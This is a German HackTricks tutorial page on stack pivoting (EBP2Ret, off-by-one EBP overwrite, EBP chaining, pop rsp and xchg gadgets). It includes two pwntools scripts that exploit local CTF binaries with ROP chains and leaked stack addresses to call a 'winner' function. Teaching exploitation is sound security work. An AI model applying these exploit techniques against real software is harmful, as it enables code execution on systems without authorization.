hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

9.9 KiB

Stack Pivoting - EBP2Ret - EBP chaining

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Diese Technik nutzt die Möglichkeit, den Base-Pointer (EBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der Befehlssequenz leave; ret zu verketten.

Zur Erinnerung bedeutet leave im Grunde genommen:

movl               %ebp, %esp
popl               %ebp
ret

Und da sich der EBP im Stack vor dem EIP befindet, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.

EBP2Ret

Diese Technik ist besonders nützlich, wenn Sie den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern. Sie nutzt das Verhalten von Funktionen aus, wenn sie ihre Ausführung beenden.

Wenn es Ihnen während der Ausführung von fvuln gelingt, einen gefälschten EBP im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die pop-Operation), können Sie indirekt das EIP kontrollieren. Wenn fvuln zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende pop-Operation verringert den ESP um 4, wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde.
Beachten Sie, wie Sie 2 Adressen kennen müssen: Die, wohin der ESP gehen wird, und wohin Sie die Adresse schreiben müssen, auf die der ESP zeigt.

Exploit-Konstruktion

Zuerst müssen Sie eine Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können. Der ESP wird hierhin zeigen und den ersten ret ausführen.

Dann müssen Sie die Adresse kennen, die von ret verwendet wird, um beliebigen Code auszuführen. Sie könnten verwenden:

  • Eine gültige ONE_GADGET-Adresse.
  • Die Adresse von system() gefolgt von 4 Junk-Bytes und der Adresse von "/bin/sh" (x86-Bits).
  • Die Adresse eines jump esp;-Gadgets (ret2esp) gefolgt vom Shellcode zur Ausführung.
  • Einige ROP-Kette

Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich 4 Bytes stehen müssen, aufgrund des pop-Teils der leave-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen zweiten gefälschten EBP zu setzen und die Ausführung weiter zu kontrollieren.

Off-By-One-Exploit

Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One-Exploit" bekannt ist. Sie wird verwendet, wenn Sie nur das am wenigsten signifikante Byte des EBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem ret speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.

EBP-Chaining

Daher ist es möglich, indem man eine kontrollierte Adresse im EBP-Eintrag des Stacks und eine Adresse zu leave; ret im EIP platziert, den ESP zur kontrollierten EBP-Adresse im Stack zu verschieben.

Nun wird der ESP kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein RET. Um dies auszunutzen, können Sie an dieser kontrollierten ESP-Stelle Folgendes platzieren:

  • &(nächster gefälschter EBP) -> Lädt den neuen EBP aufgrund von pop ebp aus der leave-Anweisung
  • system() -> Aufgerufen von ret
  • &(leave;ret) -> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut
  • &("/bin/sh")-> Parameter für system

Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.

Ehrlich gesagt, dies ähnelt einem ret2lib, ist jedoch komplexer und ohne offensichtlichen Nutzen, könnte aber in einigen Randfällen interessant sein.

Darüber hinaus finden Sie hier eine Beispielherausforderung, die diese Technik mit einem Stack-Leak verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP ist nutzlos

Wie in diesem Beitrag erklärt, wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird ESP nie von EBP kontrolliert, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat.
Dies liegt daran, dass sich das Prolog und Epilog ändern, wenn das Binärprogramm optimiert ist.

  • Nicht optimiert:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Andere Möglichkeiten, um RSP zu kontrollieren

pop rsp Gadget

Auf dieser Seite finden Sie ein Beispiel für die Verwendung dieser Technik. Für diese Herausforderung war es erforderlich, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp Gadget sowie ein Leak vom Stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <rag>, rsp Gadget

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: